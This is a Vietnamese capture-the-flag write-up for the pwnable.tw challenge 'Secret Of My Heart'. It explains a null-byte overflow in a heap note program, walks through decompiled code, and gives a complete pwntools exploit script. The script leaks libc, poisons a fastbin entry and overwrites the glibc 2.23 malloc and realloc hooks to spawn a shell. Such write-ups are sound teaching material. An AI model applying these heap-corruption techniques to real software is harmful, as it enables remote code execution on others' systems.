Secret Of My Heart
Vuln: Chương trình đặt null byte sau input của user không cẩn thận, gây 1 null byte overflow, ghi đè vào size của chunk liền sau, attacker có thể gây chunks overlap từ đó.
tl;dr: Lại là 1 null byte overflow; Heap chunk consolidation, overlapping.
Recon
Mitigation
$ pwn checksec secret_of_my_heart
[*] '/home/hungnt/pwnable.tw/secret-of-my-heart/secret_of_my_heart'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled$ file secret_of_my_heart
secret_of_my_heart: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=123aede7094ecfa8f50b3b34f3b9c754835d4e25, strippedGLIBC Version
pwndbg> libc
libc: glibc
libc version: 2.23
linked: dynamically
URLs:
project homepage: https://sourceware.org/glibc/
read the source: https://elixir.bootlin.com/glibc/glibc-2.23/source
download the archive: https://ftp.gnu.org/gnu/libc/glibc-2.23.tar.gz
git clone https://sourceware.org/git/glibc.git
Mappings:
libc is at: 0x74db73400000
/home/hungnt/pwnable.tw/secret-of-my-heart/libc_64.so.6
ld is at: 0x74db73800000
/home/hungnt/pwnable.tw/secret-of-my-heart/ld-2.23.so
Symbolication:
has exported symbols: yes
has internal symbols: yes
has debug info: yesCode
main()
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
int choice; // eax
setup();
while ( 1 )
{
while ( 1 )
{
menu();
choice = read_int();
if ( choice != 3 )
break;
delete_secret();
}
if ( choice > 3 )
{
if ( choice == 4 )
exit(0);
if ( choice == 4869 )
super_secret();
invalid:
puts("Invalid choice");
}
else if ( choice == 1 )
{
add_secret();
}
else
{
if ( choice != 2 )
goto invalid;
show_secret();
}
}
}add_secret()
int add_secret()
{
int index; // [rsp+4h] [rbp-Ch]
size_t size; // [rsp+8h] [rbp-8h]
for ( index = 0; ; ++index )
{
if ( index > 99 )
return puts("Fulled !!");
if ( !secret_addr[index].content )
break;
}
printf("Size of heart : ");
size = (int)read_int();
if ( size > 256 )
return puts("Too big !");
input_secret(&secret_addr[index], size);
return puts("Done !");
}input_secret()
char *__fastcall input_secret(Secret *secret, size_t size)
{
char *result; // rax
secret->size = size;
printf("Name of heart :");
read_input(secret->name, 32u);
secret->content = (char *)malloc(size);
if ( !secret->content )
{
puts("Allocate Error !");
exit(0);
}
printf("secret of my heart :");
result = &secret->content[(int)read_input(secret->content, size)];
*result = 0;
return result;
}show_secret()
int show_secret()
{
unsigned int index; // [rsp+Ch] [rbp-4h]
printf("Index :");
index = read_int();
if ( index > 99 )
{
puts("Out of bound !");
exit(-2);
}
if ( !secret_addr[index].content )
return puts("No such heap !");
printf("Index : %d\n", index);
printf("Size : %lu\n", secret_addr[index].size);
printf("Name : %s\n", secret_addr[index].name);
return printf("Secret : %s\n", secret_addr[index].content);
}delete_secret()
int delete_secret()
{
unsigned int index; // [rsp+Ch] [rbp-4h]
printf("Index :");
index = read_int();
if ( index > 99 )
{
puts("Out of bound !");
exit(-2);
}
if ( !secret_addr[index].content )
return puts("No such heap !");
clear_secret(&secret_addr[index]);
return puts("Done !");
}Solve
Mình ngồi mãi ko nhìn ra bug, mình thật sự stuck và xin hint từ perplexity :|.
Thế là vấn đề nằm ở đây:
result = &secret->content[(int)read_input(secret->content, size)];
*result = 0;Ngay sau dữ liệu được input của user, chương trình đặt byte này về 0. Mặc dù giúp đánh dấu nơi kết thúc của dữ liệu, nhưng nếu input của user đã đầy buffer, việc này gây 1 null byte overflow.
Cụ thể ở đây là ghi vào heap chunk, nếu user input đầy chunk với size 0x18, 0x28,… thì overflow 1 byte này có thể ghi đè vào trường size của chunk liền sau.
Mình lợi dụng overflow 1 byte để tạo overlapping chunks như sau:
- Setup 3 chunk A, B, C.
- Free chunk A.
- Ghi vào chunk B để overflow 1 byte sang size của chunk C, đồng thời ghi đè prev_size của chunk C đủ rộng về chunk A.
- Vì chunk A đã được free, chunk C có prev_inuse bit = 0, và prev_size đủ rộng, nếu chunk C được free, ptmalloc sẽ consolidate chunk C về trước, nghĩa là cả 3 chunk A, B, C sẽ bị gộp vào thành 1.
Từ đây mình có thể cấp phát một chunk lớn, overlap với chunk B -> UAF chunk B ok luôn.
Mình poison fastbin entry để có đc AAW, mình ghi one_gadget vào realloc_hook, realloc() vào malloc_hook để spawn shell, chứ ghi trực tiếp one_gadget vào malloc_hook thì ko thoả mãn constrain đc.
Script
#!/usr/bin/env python3
from pwn import *
sla = lambda p, d, x: p.sendlineafter(d, x)
sa = lambda p, d, x: p.sendafter(d, x)
sl = lambda p, x: p.sendline(x)
s = lambda p, x: p.send(x)
slan = lambda p, d, n: p.sendlineafter(d, str(n).encode())
san = lambda p, d, n: p.sendafter(d, str(n).encode())
sln = lambda p, n: p.sendline(str(n).encode())
sn = lambda p, n: p.send(str(n).encode())
ru = lambda p, x: p.recvuntil(x)
rl = lambda p: p.recvline()
rn = lambda p, n: p.recvn(n)
rr = lambda p, t: p.recvrepeat(timeout=t)
ra = lambda p, t: p.recvall(timeout=t)
ia = lambda p: p.interactive()
lg = lambda t, addr: print(t, '->', hex(addr))
binsh = lambda libc: next(libc.search(b"/bin/sh\0"))
leak_bytes = lambda r, offset=0: u64(r.ljust(8, b"\0")) - offset
leak_hex = lambda r, offset=0: int(r, 16) - offset
leak_dec = lambda r, offset=0: int(r, 10) - offset
pad = lambda len=1, c=b'A': c * len
exe = ELF("secret_of_my_heart_patched", checksec=False)
libc = ELF("libc_64.so.6", checksec=False)
ld = ELF("./ld-2.23.so", checksec=False)
context.terminal = ["/mnt/c/Windows/system32/cmd.exe", "/c", "start", "wt.exe", "-w", "0", "split-pane", "-V", "-s", "0.5", "wsl.exe", "-d", "Ubuntu-24.04", "bash", "-c"]
context.binary = exe
gdbscript = '''
cd ''' + os.getcwd() + '''
set solib-search-path ''' + os.getcwd() + '''
set sysroot /
set follow-fork-mode parent
set detach-on-fork on
continue
'''
def conn():
if args.LOCAL:
p = process([exe.path])
sleep(0.1)
if args.GDB:
gdb.attach(p, gdbscript=gdbscript)
sleep(1)
return p
else:
host = "chall.pwnable.tw"
port = 10302
return remote(host, port)
p = conn()
def create_secret(size, name, secret):
slan(p, b'choice', 1)
slan(p, b'Size', size)
sa(p, b'Name', name)
sleep(0.01)
if len(secret):
sa(p, b'secret', secret)
sleep(0.01)
def show_secret(index):
slan(p, b'choice', 2)
slan(p, b'Index', index)
def delete_secret(index):
slan(p, b'choice', 3)
slan(p, b'Index', index)
create_secret(0x80, b'A', b'A') # 0
create_secret(0x18, b'A', b'A') # 1
create_secret(0x100-0x10, b'A', pad(0x48, b'\0') + p64(0xb1)) # 2
create_secret(0x10, b'A', b'A') # 3
print("Overlapping chunks")
delete_secret(0)
delete_secret(1)
# Overflow 1 byte from chunk 0x18 to chunk 0xf0
create_secret(0x18, b'A', flat(pad(0x10), 0xb0)) # 0
# Consolidate 0x80 + 0x18 + 0xf0
delete_secret(2)
# Create so that ptmalloc write libc address to chunk 0x18 after splitting
create_secret(0x80, b'A', b'A') # 1
print("Leaking libc")
show_secret(0)
ru(p, b'Secret : ')
libc.address = leak_bytes(rn(p, 6), 0x3c3b78)
lg("libc base", libc.address)
delete_secret(1)
print("Overwriting hooks")
# Fake size to 0x70 to later overwrite malloc hook
create_secret(0xa0, b'A', flat(pad(0x88, b'\0'), 0x71, pad(0x10)))
delete_secret(0)
delete_secret(1)
malloc_hook = libc.symbols['__malloc_hook']
lg("malloc hook", malloc_hook)
# UAF to mess with fastbin entry
create_secret(0xa0, b'A', flat(pad(0x88, b'\0'), 0x71, malloc_hook - 0x23))
'''
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
'''
one_gadget = libc.address + 0x4526a
lg("one gadget", one_gadget)
realloc = libc.symbols['realloc']
lg("realloc", realloc)
create_secret(0x60, b'A', b'A')
create_secret(0x60, b'A', flat(pad(0x13 - 8), one_gadget, realloc + 12))
print("Spawn shell")
create_secret(0x10, b'A', b'')
rr(p, 1)
ia(p)